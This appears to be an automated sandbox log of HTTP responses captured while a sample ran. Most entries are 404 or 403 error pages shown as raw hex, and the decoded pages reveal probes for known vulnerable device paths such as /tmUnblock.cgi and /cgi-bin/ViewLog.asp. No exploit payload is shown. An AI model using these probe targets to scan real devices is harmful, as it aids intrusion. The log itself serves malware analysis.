Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Length: 994Date: Thu, 21 Mar 2024 04:18:43 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmllast-modified: Tue, 25 Jun 2019 07:01:36 GMTetag: "999-5d11c6d0-22a3701833ded0e1;gz"accept-ranges: bytescontent-encoding: gzipvary: Accept-Encodingcontent-length: 1159date: Thu, 21 Mar 2024 04:22:12 GMTserver: LiteSpeedplatform: hostingerData Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 08:22:12 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmllast-modified: Tue, 25 Jun 2019 07:01:36 GMTetag: "999-5d11c6d0-22a3701833ded0e1;gz"accept-ranges: bytescontent-encoding: gzipvary: Accept-Encodingcontent-length: 1159date: Thu, 21 Mar 2024 04:22:12 GMTserver: LiteSpeedplatform: hostingerData Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 21 Mar 2024 04:22:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:22:14 GMTServer: ApacheContent-Length: 199Keep-Alive: timeout=3, max=1000Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 31 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:14 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0Server: HTTPDDate: Thu, 21 Mar 2024 04:22:26 GMTConnection: closeContent-Type: text/htmlX-Frame-Options: SAMEORIGIN
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 21 Mar 2024 04:22:26 GMTserver: Apachevary: accept-language,accept-charsetupgrade: h2connection: Upgradeaccept-ranges: bytestransfer-encoding: chunkedcontent-type: text/html; charset=utf-8content-language: enData Raw: 33 43 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6e 75 6c 6c 40 69 6e 66 6f 6d 61 6e 69 61 6b 2e 63 68 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6e 75 6c 6c 40 69 6e 66 6f 6d 61 6e 69 61 6b 2e 63 68 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 31 32 37 2e 30 2e 30 2e 31 3c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:22:27 GMTServer: Apache/2.4.56 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 64 65 76 31 35 2e 6e 65 77 65 67 6f 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:27 GMTServer: Apache/2.4.56 (Debian)Content-Length: 307Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IE
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:22:27 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 